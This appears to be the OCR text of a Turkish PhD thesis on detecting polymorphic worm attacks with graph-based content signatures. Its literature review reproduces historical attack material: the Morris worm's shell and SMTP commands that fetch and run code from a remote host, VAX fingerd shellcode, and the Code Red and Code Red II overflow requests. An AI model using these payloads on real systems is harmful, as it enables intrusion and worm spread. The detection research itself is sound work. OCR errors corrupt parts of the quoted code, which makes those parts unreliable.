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v
OZET

TEZIN BASLIGI : Polimorfik Solucan Saldirilarinin Tespiti

YAZAR ADI : Burak BAYOGLU

Truva atlari, viriisler veya solucanlar gibi zararl yazilimlar, igletim sistemi ve
uygulama yazilimlarinin agikliklarini kullanarak bilgi sistemlerine ciddi zararlar
verir. Bilgi sistemi verimliliginin azalmasi, veri casuslugu, haksiz rekabet, ucuz
reklam, bilgi suclarinin islenmesi gibi bir¢ok amagla giliniimiizde bu tiir yazilimlar
internet ortaminda bulunmaktadir. Kullanici etkilesimi gerektirmemesi ve gercek bir
aciklig1 kullanarak kendi kendine hizli sekilde yayilabilmesi dolayisiyla solucanlar
viriislere gore daha tehlikeli olarak degerlendirilmektedir. Solucanlar tiim zararl
yazilimlarin 6nemli bir boliimiinii olusturur ve ¢ok kisa siirede ¢ok sayida sisteme

bulasirlar.

Polimorfik solucanlar, solucanlarin kendini kopyalama ve hizli yayilma
ozelliklerini polimorfizm teknigiyle birlestirirler. Polimorfik solucanin her kopyasi
farkli bir Orlintiiye sahip oldugu i¢in basit imza eslestirme yontemleriyle tespit

edilmeleri oldukga giictiir.

Bu c¢alismada, polimorfik solucan imzalarimin siniflandirilmasi i¢in ¢izge
tabanli bir siniflandirma gergevesi ve polimorfik solucan tespiti i¢in imza yapilari
onerilmistir. Onerilen imza siniflandirmasi, arastirmacilara yeni polimorfik solucan
imza yapilar1 onerirken yol gostermeyi hedeflemektedir. Bu tez ¢alismasinda ayrica
bes yeni polimorfik solucan imza yapisi 6nerilmistir. Onerilen imza yapilari, hem
polimorfik solucan kopyalarindaki ortak karakter katarlarindan hem de bu karakter
katarlar1 arasindaki iliskilerden yararlamir. Imza yapilari, polimorfik solucanin
yapisindaki degisikliklere karsi direnglidir. Ayrica, bir polimorfik solucanin
izomorfik silirlimleri i¢in otomatik olarak imza olusturma yontemi de Onerilmistir.
Deney sonuglari, imzalarin iyi bir akis degerlendirme siiresi performansina sahip
oldugunu ve diisik yanhs-pozitif ve diisiik yanlig-negatif oranlariyla

kullanilabilecegini gostermektedir.



SUMMARY

THESIS TITLE : Detection of Polymorphic Worm Attacks

AUTHOR NAME : Burak BAYOGLU

Malicious software such as trojans, viruses, or worms can cause Serious
damage to information systems exploiting operating system and application software
vulnerabilities. Worms are one of the most harmful network enabled malicious
software that can threaten networks and applications. Two main characteristics of
worms distinguish them from the well-known virus programs and as a result are
much more dangerous than the virus programs. First, worms do not need to attach
themselves to an existing program. Second, worms do not require end-user
interaction to realize the intended attack. Worms constitute a significant proportion
of overall malicious software and infect a large number of systems in very short

periods.

Polymorphic worms combine polymorphism techniques with self-replicating
and fast-spreading characteristics of worms. Each copy of a polymorphic worm has a

different pattern so it is not effective to use simple signature matching techniques.

In this work, a graph based classification framework of content based
polymorphic worm signatures is proposed. This framework aims to guide researchers
to propose new polymorphic worm signature schemes. In this thesis, five new
polymorphic worm signature schemes are proposed using the defined framework.
Proposed signature schemes utilize common substrings of polymorphic worm copies
and also the relation between those substrings through dependency analysis.
Signature schemes are resilient to changes in polymorphic worm structure. Changing
the attack pattern of the worm does not prevent detection as long as the common
substrings used in the signature set are not replaced. A method for automatically
generating signatures for isomorphic versions of a polymorphic worm is also
proposed. Experimental results support that signature schemes have good flow
evaluation time performance and can be used with low false positives and low false

negatives.
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1 GIRIS

Isletim sistemi ve uygulama yazilimi agikliklar: truva atlari, viriis, solucan gibi
zararli yazilimlar tarafindan kullanildiginda sistemlere ciddi zararlar verebilmektedir.
Symantec tarafindan yayinlanan 2010 yili yillik tehdit raporuna [1] gore, bu zararl
yazilimlar arasindan solucanlar 2008 yilina gore %50 artis gostererek, 2009 yilinda
toplam zararli yazilimlarin %43’linii olusturmugtur. Solucanlar, kendi kendine
yayillma 0Ozelligi olan, virlislerin aksine kendisini bagka bir programa eklemesi
gerekmeyen ve yayilmak i¢in kullanici etkilesimine ihtiyag duymayan yazilimlardir.
Solucanlar bu sayede virlislere gore ¢ok daha hizli yayilabilmektedir. Bu sebepledir
ki Nimda, Code Red ve daha bircok solucan 15 dakika gibi kisa bir siirede internet

sistemindeki milyonlarca konaga yayilabilmistir.

Solucanlar, igletim sistemi ve uygulama yazilimi agikliklarimi kullanarak
sistemlere niifuz etmektedir ve niifuz edilen sistemin ag kaynaklar1 kullanilarak diger
sistemlere yayilmaktadir. Polimorfik solucanlar, solucan ailesinin 6zel bir kiimesidir.
Polimorfik kod genel olarak, ¢alisan yazilimin ayni tutulmasina karsilik her kopyada
farkli oriintiiye sahip yazilim olarak tanimlanmaktadir. Benzer olarak polimorfik
solucan, her solucan kopyasinda farkli bir oriintiiye sahip olan solucandir. Bu sebeple
polimorfik solucanlarin basit Oriintii tanima yontemleriyle basarili sekilde tespit
edilmesi miimkiin olmamaktadir. Ote taraftan her polimorfik solucan érneginde aym

olan kod pargalar1 bulunabilmektedir.

Polimortfik solucanlar ve polimorfik viriisler, kendi amaclarina yonelik zararl
kod yazip yaymaya g¢alisanlar i¢in heyecan veren bir aragtir. Tespit edilmesi ve
engellenmesi zor oldugu icin isin uzmanlar tarafindan tercih edilmektedir. Bilgi
sistemlerinde biiyiik risk olusturan bu tehdidin tespit edilmesi ve engellenmesi de

ayni sekilde bilgi giivenligi arastiricilarinin dikkatini cezp etmektedir.

Klasik Internet solucanlarini tespit etmek amaciyla gelistirilen tespit
yontemleri, polimorfik solucan saldirilarinin tespiti sirasinda yetersiz kalmaktadir.
Bunun sebebi, polimorfik solucanin tiim kopyalarini basariyla temsil edecek yeterli

uzunlukta kaliteli imzalar olusturulamamasidir. Polimorfik solucanlarin tespiti



amaciyla, akis iceriklerini inceleyerek ya da ag {izerindeki anormallikleri izleyerek
karar verme yontemi gelistiren ¢aligmalar mevcuttur. A§ anormalliklerinin izlendigi
yontemler, sistemlerdeki kullanicilarin zaman igerisindeki davranislarindaki
degisikliklerden otiirii icerik analizi yapan yontemlere gore daha kotii yanlis-pozitif
oranlarma sahip olmaktadir. igerik analizi yaparak polimorfik solucanlari tespit
etmeye calisan mevcut caligmalarda, bir polimorfik solucanin farkli Griintiiye sahip
kopyalarinda ortak olarak bulunan ayrik karakter katarlarindan faydalanilmaktadir.
Bu calismalarda onerilen imza yapilari, polimorfik solucan kopyalarinda bulunan
ortak karakter katarlarinin bagimsiz oldugunu kabul etmekte ve akis degerlendirme
sirasinda ya bu bagimsiz karakter katarlarinin skorlarindan faydalanmakta ya da
esnek olmayan dizilim ya da birlesim imzalar1 tanimlamaktadir. Halbuki bir
polimorfik solucanin kopyalarinda ortak olarak goriilen karakter katarlari, polimorfik
solucan kodunun ¢aligabilmesi icin kullanilan ag protokoliiniin komut mantigina

uymak durumundadir ve birbirleriyle iligkilidir.

Ag protokolii komut kiimesine ya da polimorfik solucanin faydalandig: sistem
acikligini calistirmak i¢in akis icerisinde eklenmesi gereken kod pargasina ait ortak
karakter katarlarinin birbirleriyle olan iligkileri, polimorfik solucan akislarini normal
akislara gore daha ayirt edici sekilde tespit etmek icin kullanilabilecek faydali bir
ozelliktir. Bu c¢alismada, polimorfik solucan kopyalarindaki ortak karakter katarlari
bagimsiz olarak kabul edilmemekte ve birbirleriyle olan ikili bagimliliklar1 goz
onlinde bulundurularak giiglii ve esnek imza yapilar1 tanimlanmaktadir. Polimorfik
solucan saldirilarinin tespiti probleminde bir diger gereksinim, bir polimorfik
solucanin izomorfik siiriimlerinin zaman kaybetmeden tespit edilmeye baslanmasidir.
Mevcut imza tabanli ¢alismalarda spesifik bir polimorfik solucani tespit etmek i¢in
imza kiimeleri tanimlarken, olabildigince esnek bir yapi1 kullanarak izomorfik

solucan siirtimlerinin tespit edilmesi konusunda eksiklikler bulunmaktadir.

Boliim 1.1°de, doktora ¢alismasinda ¢oziim iiretilen polimorfik solucan tespit
probleminin tanimi verilmistir. Polimorfik solucan tespit ¢alismalarina yonelik 6n
bilgi ve literatiir analizi Bolim 2’de sunulmustur. Boliim 3’de, polimorfik solucan
tespiti i¢in Onerilebilecek imza yapilar i¢in ¢izge tabanli genel bir smiflandirma

yapilmis ve bu smiflandirmaya uygun olarak onerilen polimorfik solucan imza



yapilar1 tanmtilmistir. Test sonuglar1 analiz ve degerlendirmeleri Boliim 4’de, sonuglar

Bolim 5°de verilmistir.

1.1 Problem Tanimi

Polimorfik solucanlarin ortak 6zellikleri asagidaki gibidir:

(1) Hizli Yayilma: Polimorfik solucanlar, isletim sistemi ve uygulamalarin
barindirdiklar1 agikliklarindan faydalanarak kullanici etkilesimine ihtiyag
duymaksizin ilgili agikli§i bulunduran sistemlere hizli sekilde niifuz ederler.
Bu, solucan zararli yazilimlarinin kalitsal bir 6zelligidir.

(2) Kendi Kendine Cogalma: Polimorfik solucanlar, bir hedef sisteme niifuz
ettikten sonra ayni agiklig1 iceren diger sistemlere yayilmak i¢in niifuz ettikleri
sistemin kaynaklarini kullanirlar. Diger sistemlere yayilirken dis bir etkenin
yardimina ihtiyag duymadan ayni acikligi barindiran sistemlere kendi
kendilerini kopyalayabilirler. Bu, solucan zararli yazilimlarinin kalitsal bir
ozelligidir.

(3) Oriintii Degistirme: Polimorfik solucanlar, polimorfik yazilim tekniklerini
kullanarak her yeni kopyada farkli bir Griintiiye sahip olurlar. Bir polimorfik
solucanin tiim kopyalarini temsil etmek i¢in yeterli uzunlukta ve ayirt edicilikte

ortak bir karakter katar1 bulunmaz.

Mevcut icerik tabanli polimorfik solucan tespit ydntemleri, solucan
kopyalarmin igerdigi ortak alt karakter katarlarindan faydalanmaktadir. Polimorfik
solucanlarin bir ag protokolii yapisi ve agiklik kullanma mantig1 icerisinde kalmak
zorunda oldugu diisiiniiliince, bu ortak alt karakter katarlarinin birbirleriyle iliskili
oldugu aciktir. Ortak alt karakter katarlarinin birbirleriyle olan iligkisinden
faydalanilarak solucan yapisindaki degisikliklere karsi direngli, yanlis-pozitif ve
yanlig-negatif karar oran1 diisiik, hizli karar verecek sekilde tasarlanmis polimorfik
solucan tespit yontemlerinin Onerilmesi konusunda literatiirde yeterince g¢alisma

yapilmadigi goriilmiistiir.



Onerilen herhangi bir igerik analizi tabanli polimorfik solucan tespit yapisinin
saglamasi gereken dort ana tasarim kriteri bulunmaktadir. Onerilen ¢dziim diisiik
yanlig-negatif oranma ve diisiik yanlig-pozitif oranina sahip olmali, tespit
mekanizmasi hizli olmali ve polimorfik solucanin bilinmeyen yeni siirimlerine karsi

direncli olmalidir.

Yanlis-negatif orani, tespit edilemeyen polimorfik solucan sayisinin gelen
polimorfik solucanlarinin toplam sayisina oran1 olarak tanimlanir. Polimorfik solucan
tespit yapisinin yanlig-negatif kararlar1 sebebiyle sistemler polimorfik solucan
tehditlerine kars1 korumasiz kalir. Onerilen ¢oziim, saldirilar1 dogru tespit etmek ve

onlemek icin diisiik ve tercihen sifir yanlig-negatif oranina sahip olmalidir.

Yanlis-pozitif orani, polimorfik solucan olarak etiketlenen zararsiz akislarin
sayisinin gelen zararsiz akislarin toplam sayisina orani olarak tanimlanir. Yanlis-
pozitif kararlar gegerli zararsiz trafigin kesilmesine ve son kullanic1 faydasinin
azalmasina sebep olur. Saldirilar i¢in kapsamli tespit imzalarinin tanimlanmasi
yiiksek yanlg-pozitif oranlarma sebep olmamalidir. Onerilen ¢dziim, kabul edilebilir
mertebede sistem faydalanama oranimi siirdiirebilmek icin diisiik ve tercihen sifir

yanlig-pozitif karar oranina sahip olmalidir.

Polimorfik solucan saldirilarimi diisiik yanlig-negatif ve diisiik yanlhis-pozitif
karar oranlar1 ile tespit etmenin yani sira, karar asamasinin zamaninda tamamlanmasi
da bir diger temel gereksinimdir. Zamanla sistemlerin mevcut ag bant genisligi
artmaktadir. Paralelde islem giicliniin de artmasia karsin zararli yazilim saldiri
girisimlerinin sayis1 da artmaktadir. Sadir1 tespit ve Onleme sistemleri, gereksiz
iletisim gecikmelerini Onlemek veya sistem yoneticilerine saldir1 alarmlarim

zamaninda vermek i¢in karar agamasini hizli bir sekilde tamamlamalidir.

Sistemler solucanlarin bilinen siiriimlerine kars1 bagisiklik kazandik¢a zararl
yazilim gelistiricilerin alternatif saldirilar aramasi nedeniyle, polimorfik solucan
saldir1 vektorleri zamanla degisebilir. Polimorfik solucanlar, sistemlere niifuz etmek
ve aglara genis Ol¢ekte yayilmak i¢in bir sistem agikligini kullanirlar. Bu agikliklar

ag protokol yapilarinda veya hedef konaklarda g¢alisan yazilimlarda bulunabilir.



Hedef konagin program sayacinin yonlendirildigi bellek doniis adresi degistirilebilir
veya ayni agiklik farkli bir ag protokol komut dizisi kullanilarak ¢alistirilabilir. Bu
degisiklikler sonucu, polimorfik solucan akis ¢izgesi W’nin bir veya daha fazla
kesfedilmis diigiimii yenileriyle degistirilmis olur. Bu yeni siirtimler, ilgili polimorfik
solucan akis ¢izgesi W nin izomorfik esdegeri olarak diisiiniilebilir. Onerilen
polimorfik solucan tespit imza yapisi, polimorfik solucanin siirlimlerini tespit
edebilmeli ya da yeni siirim i¢in hizlica imza iretecek bir mekanizma

tanimlamalidir.

Bu doktora c¢alismasinda, belirlenen tasarim kriterleri gdz Onilinde
bulundurularak polimorfik solucan saldirilarinin tespit edilmesi problemine ¢6ziim
oOnerileri getirilmistir. Solucan tespitine yonelik farkli yaklagimlar bulunmustur.
Solucan saldirilart ag {izerinden gegen paket bilgisi veya saldirilan sistemin
belleginde ¢alisan kod bilgisi kullanilarak yapilabilmektedir. Solucan saldiris1 hedef
sistemlere ulagsmadan ag gecidi seviyesinde saldir1 tespit ve Onleme sistemleriyle
koruma saglanmasi, hedef sistemler {izerinde koruma saglanmasindan daha etkin bir
yontemdir. Bdylelikle merkezi ag gecitleri {izerinden sistem giivenligi
saglanabilmekte ve ag igerisine ¢ok sayida olan konaklarin her birinde giivenlik
mekanizmasinin yonetilmesi yiikii ortadan kalkmaktadir. Ayni1 zamanda, igerik
tabanli tespit sistemleri olabilecegi gibi davranis tabanli tespit sistemleri de
bulunmaktadir. Bu doktora calismasinda agirlikli olarak ag iizerinden gegen akis

bilgisini kullanan igerik tabanl ¢éziimlere yogunlagilmistir.



2 ON BILGI VE LITERATUR ANALIZI

Bu boéliimde, polimorfik solucan tespitine yonelik Onerilen yonteme temel
olusturacak bilgiler verilmis ve problemin ¢oziimiine iliskin literatiirde Onerilmis
yaklagimlardan bahsedilmistir. Bolim 2.1°de, internet solucanlari hakkinda ©n
bilgiler verilmistir. Boliim 2.2’de polimorfik yazilim yapisi tanitilmistir. Polimorfik
solucanlarin karakteristik Ozellikleri Bolim 2.3’de verilmistir. Bolim 2.4°de,
polimorfik solucan imzasi olusturma sirasinda faydalanilan normal akis havuzu ve
polimorfik solucan akis havuzu yapilart tanmtilmistir. Polimorfik solucan tespiti
calismalarinda kullanilabilecek matematik temelleri Bolim 2.5°de Ozetlenmistir.
Boliim 2.6’da, polimorfik solucanlarda izomorfizm kavrami agiklanmistir. Solucan
tespiti ve polimorfik solucan tespiti konusunda yapilan baslica ¢alismalar Bolim

2.7°de verilmistir.

2.1 internet Solucanlari

Bilgisayardan bilgisayara yayilabilen yazilim kavramindan ilk olarak 1975
yilinda John Brunner tarafindan yazilan The Shockwave Rider[4] isimli bilim kurgu
kitabinda bahsedildigi [3]’deki teknik raporda aktarilmaktadir. 1979-1981 yillan
arasinda Xerox PARC arastiricilart da solucan karakteristikleri tasiyan faydali
programlar gelistirmiglerdir. Bu programlarin amaci sistemlere zarar vermek degil
aksine dagitik ortamlarda amagclanan islerin gergeklestirilmesidir. Bu sebeple de ilgili
caligmalar solucan zararli yazilimlar1 olarak degerlendirilmemektedir. Morris
solucani, 2 Kasim 1988 tarihinde internet agina yayilan ilk solucan yazilimi olarak
bilinmektedir[2]. Solucan kodunun yazar1 olan Robert Tappan Morris her ne kadar
kodun asil amacinin internet agina bagli bilgisayar sayisini 6grenmek oldugunu
belirtmis olsa da, solucanin daha 6nce hedef bilgisayara bulasip bulasmadiginin
kontrolii sirasinda sistem yoneticileri tarafindan yanlis-pozitif cevap dondiiriilmesi
ihtimaline kars1 yazilim her haliikarda kendini hedef bilgisayara kopyalamistir. Bu
tasarim degisikligi dolayisiyla solucan yazilimi beklenmedik sekilde fazla sayida
bilgisayara kisa zaman icerisinde kendini kopyalamis ve verimlilik kayb1 dolayisiyla

biiylik maddi zararlara sebep olmustur.



Internet solucanlarindan biiyiik sayida bilgisayara kisa siirede ulasan ve ciddi
zararlar veren bilinen ilk 6rnek olmasi acisindan Morris solucami lizerinde c¢esitli
inceleme calismalar1 yapilmistir. Eugene H. Spafford, [3]’deki teknik raporunda

solucan yazilimlarin gegmisi ve Morris solucani hakkinda detayl bilgiler vermistir.

Morris solucani, standart UNIX ag hizmetlerinden fingerd ve sendmail’ deki iki
farkli agikliktan faydalanmistir. Fingerd hizmeti, bir arka plan prosesi olarak
calismaktadir ve finger protokolii[5] lizerinden gelen istekleri karsilayarak sistem
tizerindeki diger kullanicilar hakkinda bilgi saglamak i¢in kullanilmaktadir. Bu
komutun gerceklemesinde girdi alirken kullanilan C fonksiyonu gets, girdi
uzunlugunu kontrol etmedigi i¢in bellek tasmasina sebep olmaktadir. Morris solucani
gets  fonksiyonundaki bellek tagsmasindan faydalanarak kendi kodunu
calistirabilmektedir. Sendmail[6] ise yaygin olarak kullanilan bir e-posta hizmeti
uygulamasidir. Sendmail programi 25 numarali TCP portunda dinleme yapan
SMTP[7] protokoliinii kullanmaktadir. Ilgili TCP portuna istemci baglantisi
saglandiktan sonra SMTP komutlar1 kullanilarak e-posta aktarimi yapilmaktadir.
SMTP komutlarindan olan debug kullanilarak e-posta hizmetine alic1 e-posta adresi
yerine bir dizi UNIX komutu gonderilebilmektedir. Morris solucanit bu yontemi

kullanarak hedef bilgisayar iizerinde uzaktan kod caligtirabilmistir.

Morris solucani bir ana programdan ve bir vektor programdan olusmaktadir.
Herhangi bir bilgisayara bulasip komut satirina ulastiktan sonra Morris solucaninin
diger bilgisayarlara niifuz etmesi [3]’de de belirtildigi tlizere asagidaki adimlarla

mumkun olmaktadir.

1) Saldirgan bilgisayar {lizerinde, vektdr programin baglanmasi i¢in bir TCP soketi
olusturulmaktadir. Rastgele sayilar kullanilarak bir parola (challange) ve dosya
adi taslagi olusturulmaktadir.

2) Vektor programi, daha once tanitilan iki yontemden biri kullanilarak asagida
gosterilen sekilde hedef bilgisayara aktarilip ¢alistirilmaktadir.

a. Komut satir1 izerinden asagidaki komutlar gonderilerek:
PATH=/bin:/usr/bin:/usr/ucb
cd /usr/tmp
echo gorch49; sed ’/int zz/q’ > x14481910.c;echo gorch50



3)

4)

5)

[Vektdr program kodu (EK-1)]
int zz;
cc -0 x14481910 x14481910.c;./x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c;echo DONE
b. SMTP protokolii kullanilarak:
debug
mail from: </dev/null>
rcpt to: <"|sed -e '1,/7$/’d | /bin/sh ; exit 0">
data
cd /usr/tmp
cat > x14481910.c <<'EOF’
[Vektor program kodu (EK-1)]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c

quit
Vektor programi sunucuya baglanip ilk asamada olusturulan parola ile birlikte
iic adet dosyay1r gondermektedir. Bu dosyalar, solucanin Sun 3 siiriimii, VAX
stirimii ve vektor programin kaynak kodudur. Bu dosyalar kopyalandiktan sonra
vektor programi bir komut satir1 olarak islev gérmeye baslamaktadir.

Sunucu, baglanilan komut satir1 tizerinden asagidaki komutlar1 gondermektedir:

PATH=/bin:/usr/bin:/usr/ucb

rm -f sh
if [ -f sh ]
then

P=x14481910
else
P=sh
Fi
Daha sonra aktarilan her ikili (binary) dosya i¢in asagidaki komutlar kullanilarak

derleme ve calistirma yapilmaktadir.

cc -o $P x14481910,sun3.0
./$P -p $$ x14481910,sun3.0 x14481910,vax.o x14481910,11.c
rm -f $P

Solucan yeni niifuz ettigi sistemde su islemleri yaparak kendisini gizlemektedir:
girdi parametrelerinin karistirilmasi (obscure), ikili (binary) siiriimiiniin baginin
kopartilmas1 (unlinking) ve ana prosesinin Oldiiriilmesi (¢aligtirma sirasinda
kullanilan $§$ parametresi). Daha sonra solucanin galistirilabilir dosyalar1 bellege

okunmakta ve sabit disk iizerindeki kopyalar1 silinmektedir.



6) Solucan niifuz ettigi sistem iizerindeki ag araylizleri ve daha Once baglanti
kurdugu bilgisayarlar hakkinda bilgi toplayip bellekte bir liste olusturmaktadir.

7) Olusturulan listede bulunan ve sonraki saldirida niifuz edilmeye aday olan
bilgisayarlar kontrol edilmektedir. Telnet, rexec gibi komutlarla listedeki
bilgisayarlarin hala ulasilabilir olup olmadiklar1 kontrol edilmekte ve
ulasilamayan bilgisayarlar listeden kaldirilmaktadir.

8) Listedeki ulasilabilen bilgisayarlara niifuz etmek icin asagida verilen ii¢
yontemden uygun olan kullanilmaktadir.

a. rsh (remote shell) komutu ile uzaktan komut satirinin elde edilmesi
(/usr/ucb/rsh, /usr/bin/rsh, ya da /bin/rsh ile) durumunda solucan hedef
bilgisayara adim 1 ve 2.a’da anlatildig1 sekilde niifuz eder.

b. fingerd bellek tasmasindan faydalanmak iizere asagidaki komut diziliminin

finger protokolii izerinden gonderilmesi:

pushl $68732f ’/sh\0’
pushl $6e69622f ' /bin’
movl sp, rl0

pushl $0

pushl $0

pushl rl0

pushl $3

movl sp,ap

chmk $3b
Gonderilen komut dizisinin ¢aligsmasi durumunda solucan hedef bilgisayara
adim 1 ve 2.a’da anlatildig1 sekilde niifuz eder.
c. SMTP portu (TCP 25) baglantis1 kurulduktan sonra solucan kopyasinin e-
posta iizerinden gonderilebilmesi durumunda solucan hedef bilgisayara

adim 2.b’de anlatildig1 sekilde niifuz eder.

Code Red[8] ve Code Red II[9] solucanlari, internet iizerinde yiiz binlerce
bilgisayara niifuz ederek biiyiik zararlara sebep olmustur. Iki solucan da Microsoft
web sunucusu IIS (Internet Information Server)’in kataloglama uygulamasindaki bir
acikliktan faydalanarak bellek tagsmasina sebep olmaktadir. HTTP protokoliiniin GET
komutu ile .ida uzantili dosyaya istekte bulunulmaktadir. Code Red ve Code Red II

solucanlarinin saldir1 vektorleri asagida verilmistir.
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Code Red:

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
%1u9090%u6858%uchbd3%u7801%u9090%u6858%ucbd3%u7801
%1u9090%u6858%uchbd3%u7801%u9090%u9090%u8190%u00c3
%u0003%u8b00%u531b%ub3f£%u0078%u0000%u00=a HTTP/1.0

Code Red II:

GET /default.i1da?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
):9:9:9.9:9:9:9:9.9.9.9.9:0.9.9:9:9:0:0.9.9.9.9:0.0:9.9:9:0:9.9.9.9.:9:0:0.9.9.9.:0:0.0.9.9.:9:0.0.9.9.0.¢
):9:9:0:0.9.9.9.9:0.9.9.9.9.:0.:0.9.9.9.9:0.0.9.9.9.9:0.9.9.9.:9.:0.:0.9.9.9.0:0.0.9.9.:9.0.0.9.9.9.9.:0.0.0:¢
):9:0.9:9:9:9:0:90.9:9.9.9:0.9.9:9:9:0:0.9.9.9.9:0.0.9.9.:9:0:0.9.9.9.:9:0.0.9.9.:9.:0.:0.9.9.:9.:9.:0.0.0.9.0.¢
XXX XXX XX XXX KXX XXX LXK XKL XXX XXX KX XXX XXXX
%u9090%u6858%uchbd3%u7801%u9090%u6858%uchbd3%u7801
%1u9090%u6858%uchbd3%u7801%u9090%u9090%u8190%u00c3
%$u0003%u8b00%u531b%u53££%u0078%u0000%u00=a HTTP/1.0

Yukarida goriildiigii gibi Code Red ve Code Red II solucanlarinda GET
komutu, default.ida dosyasi ve doniis bellek adresi degismez karakter katarlaridir. Bu
solucanlarin polimorfik siirlimlerinde de ilgili karakter katarlar1 ve doniis adresi
degismeyen alt karakter katarlari olarak karsimiza ¢ikmaktadir. Code Red II solucan
14 saat gibi kisa bir siirede 359.000 bilgisayara niifuz ederek 2 milyar TL’den fazla
zarara sebep olmustur([10],[11],[12],[13]).

Code Red solucan ailesi, niifuz ettigi bilgisayarlardan edindigi bilgilerle
olusturdugu niifuz edilmeye aday bilgisayarlardan olusan listeyi aym ag¢iklik i¢in
taramaktadir. Solucanin {iizerinde calistig1 listede deneme yapilacak bilgisayar
kalmadiginda belirli bir zaman araliginin 1/8 oraninda rastgele IP adreslerine, 3/8
oraninda /16 maskeli aga, geri kalan zamanda ise /8 maskeli aga niifuz etmeye
calismaktadir([12],[14]). Code Red II solucaninin bir 6rneginin niifuz vektorii ve

solucan govdesi EK-2’de verilmistir.

Nimda[15] ve Slammer[16] solucanlar1 da genis aglara yayilip biiyiik zararlar

veren internet solucanlarina orneklerdir. Nimda solucani Microsoft IIS 4.0 ve IIS 5.0
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web sunucu yazilimlarinin agikliklarindan faydalanmistir. Nimda solucani e-posta
yoluyla yayilmakta ve agikligi kullanarak e-posta eklentisindeki solucan kodunu
otomatik olarak (6nizleme sirasinda) ¢alistirabilmektedir. SQL Slammer solucani ise,
Microsoft SQL Sunucu yaziliminin agikligindan faydalanarak on dakika gibi bir

siirede 75.000’den fazla sunucuyu hizmet dis1 birakmustir.

Code Red, Code Red II, Nimda, Slammer vb. internet solucanlariin tiimii bir
isletim sistemi ya da uygulamanin ac¢ikligini kullanarak kullanici etkilesimine ihtiyac
duymaksizin yayilma o6zelligi tasimaktadir. Solucanlarin yayilma yodntemlerinin
farkli sekillerde modellendigi goriilmektedir. Kephart ve ark. salgin (epidemioloji)
modellerinden  faydalanarak  ¢esitli  zararli yazilim  yayilma  modelleri
onermislerdir([17],[18],[19]). Wang ve ark.([20],[21]) zararhh yazilimin yayilma
gecikmesi ve kullanici farkindaligi parametrelerini kullanarak yayilma modelleri
Onermistir. Solucanin yayilmasi siirerken sistemlerdeki agikliklarin kapatilmasi ve
nifuz edilen sistemlerin solucandan arindirilmasi islemlerinin g6z Oniinde
bulunduruldugu bir model Chen ve ark. [22] tarafindan ortaya koyulmustur. Zou ve
ark.([23],[24]), solucanlarin yayilmamasi i¢in alinan tedbirleri ve solucanin yayilmak
icin olusturdugu asir1 trafik sebebiyle meydana gelen cakigsmalart géz Oniinde
bulundurmuslardir. Yaptiklar1 calismada, kiigiik adres uzaylarinin izlenmesi yoluyla
solucan yayilma modellerinin olusturulma ihtimalinin oldugunu gostermislerdir. Su
Fei ve ark.[25], ETwo-Factor solucan yayilma modelini &nermislerdir. Onerilen
solucan yayilma modelleri bilinen solucan yazilimlarmin timiiniin yayiliminm
basartyla modelleyememekle birlikte solucan yazilimlarinin  davraniglarinin

kestirilebilmesi i¢in faydal bilgiler saglamaktadirlar.

2.2 Polimorfik Yazilimlar

Bilgisayar terminolojisinde polimorfik yazilim, ¢alisan algoritma degisiklige
ugramadan polimorfik bir motor marifetiyle yazilimin mutasyona ugratilmasidir.
Yani yazilim her calistiginda oriintiisii degismekte fakat islevi aynm1 kalmaktadir. Bu
teknik, viriisler, solucanlar vb. zararli yazilimlar tarafindan varliklarin1 gizlemek

amaciyla kullanilabilmektedir.
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Sifreleme, polimorfik yazilim olusturmak i¢in kullanilan en yaygin yontemdir.
Ana yazilim kodu sifrelendiginde anlamsiz icerige doniismektedir. Rastgele segilen
sifreleme anahtar1 ile her sifreleme islemi sonucunda farkli bir ¢ikti elde
edilmektedir. Sifrelenen yazilim pargasinin calisir hale getirilmesi i¢in bir sifre
¢6zme programina ihtiya¢ vardir. Polimorfik kod icerisinde yerlestirilen sifre ¢6zme
programi ve sifre ¢ozme anahtar1 ile sifreli yazilim kodunun sifresi ¢oziiliir ve

calistirilabilir yazilim ortaya ¢ikarilir.

Asagida ornek bir polimorfik yazilimin kod akis1 verilmistir.

Basla:
GIT Sifre Cdézme Kodu Isaretcisi
Sifreli Kod Isaretcgisi:

Sifrelenmis yazilim parcalari

Sifre Cézme Kodu Isaretgisi:
A = gifreli Kod Isaretcisi

Dongii:
B = *A
B = B XOR SifreAnahtari
*A =B
A=A+1

GIT D&ngl EGER DEGIL ISE A = Sifre Cdzme Kodu Isaretcisi
GIT Sifreli Kod Isaretcisi

SifreAnahtari:
Rasgele secilmis sayi

Yazilim algoritmasi ¢aligmaya basladiginda, sifre ¢6zme koduna yonlendirilir.
A isaretgisi, sifrelenmis yazilim pargalarinin bulundugu bellek alaninin baslangicini
gosteren Sifreli Kod Isaretgisi degeri ile ilklendirilir. Sonra bir dongii icerisinde, B
gecici isaretgisi icerigi, A isaret¢isi icerigine esitlenir. B isaretgisi, sifreleme sirasinda
rastgele secilmis sifreleme anahtar1 ile DARVEYA (XOR) islemine tabi tutularak
sifre ¢ozme islemi gerceklestirilir. Bu dongii, her iterasyonda bir sonraki bellek
alanina otelenen A isaret¢isi sifrelenmis yazilim parcasinin sonundaki sifre ¢6zme
programina ulasana kadar tekrar edilir. Dongli tamamlandiginda daha once
sifrelenmis olan anlamsiz yazilim parcalar1 calistirllir hale doniistiiriillmis

olmaktadir.
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Sadece ana yazilim pargasinin sifrelenmesi, polimorfik davranis saglamak icin
yeterli degildir. Her polimorfik yazilim kopyasinda sifreleme ve sifre ¢ozme
programlarinin  mutasyona ugratilarak degistirilmesi gereklidir. Bu degistirme
isleminin gerceklestirilmesi i¢in en yaygin kullanilan teknik, yazilim karistirma
(obfuscation)  teknigidir.  Yazilim  kanstirma  islemi  farkli  sekillerde
gerceklenebilmekle birlikte ([26]-[30]) polimorfik solucan yazilimlarinda yaygin
